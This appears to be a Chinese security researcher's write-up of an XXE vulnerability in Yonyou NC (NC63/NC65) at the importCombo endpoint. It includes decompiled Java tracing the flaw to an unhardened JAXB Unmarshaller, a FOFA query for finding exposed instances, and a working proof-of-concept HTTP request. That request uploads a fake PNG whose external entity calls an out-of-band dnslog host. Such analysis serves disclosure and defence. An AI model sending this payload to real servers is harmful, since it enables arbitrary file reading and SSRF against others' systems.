漏洞简介
用友NC系统存在XML外部实体注入(XXE)漏洞。攻击者可通过构造恶意XML文件,利用importCombo接口上传并解析,实现任意文件读取或SSRF攻击等攻击,进而可能导致敏感信息泄露或进一步的系统入侵。
影响版本
NC63、NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
根据官方漏洞通告部分可知漏洞点url为 portal/pt/portalcombo/importCombo

那就直接看 PortalComboAction 里 importCombo 方法是如何实现的
@Action
public void importCombo() throws IOException {
MultipartHttpServletRequest req = PortalComboAction.getMultipartResolver(this.request);
Map fileMap = req.getFileMap();
ArrayList files = new ArrayList();
if (MapUtils.isNotEmpty((Map)fileMap)) {
files.addAll(fileMap.values());
}
InputStream in = ((MultipartFile)files.get(0)).getInputStream();
try {
ComboOperTools.doImPort((InputStream)in);
}
catch (LfwBusinessException e) {
PortalLogger.error((Throwable)e);
}
finally {
IOUtils.closeQuietly((InputStream)in);
}
}
代码不多,很简单,就是将请求的上传文件的第一个文件内容带入ComboOperTools.doImPort 方法,跟进 doImPort 方法看下它是如何实现的
public static void doImPort(InputStream in) throws IOException, LfwBusinessException {
String xml = IOUtils.toString((InputStream)in);
ComboPackObj packObj = (ComboPackObj)JaxbMarshalFactory.newIns().encodeXML(ComboPackObj.class, xml);
UwComboVO combo = new UwComboVO();
combo.setTitle(packObj.getTitle());
doImPort 方法的作用是将输入流中的XML数据读取为字符串,并反序列化为ComboPackObj对象,然后将其标题赋值给UwComboVO对象的title属性等等一系列赋值操作,我们重点关注 encodeXML 的实现
public <T> T encodeXML(Class<T> clazz, String xml) {
if (xml == null) {
return null;
}
Unmarshaller um = (Unmarshaller)JaxbPoolManager.getUnMarshaller(clazz);
StringReader reader = new StringReader(xml);
try {
Object object = um.unmarshal(reader);
return (T)object;
}
ok。到达本次漏洞触发点,该方法使用 JAXB 的 Unmarshaller 处理用户可控的 XML 输入,但默认未禁用外部实体解析,从而导致 XXE 注入,从而引发任意文件读取、内网探测、SSRF 等问题。

漏洞复现
POST /portal/pt/portalcombo/importCombo?pageId=login HTTP/1.1
Host: nc.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="1.png"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.dnslog.pt/xxe_test">
%remote;]>
<root/>
------WebKitFormBoundary--

成功在DNSLOG平台收到其DNS请求和HTTP请求


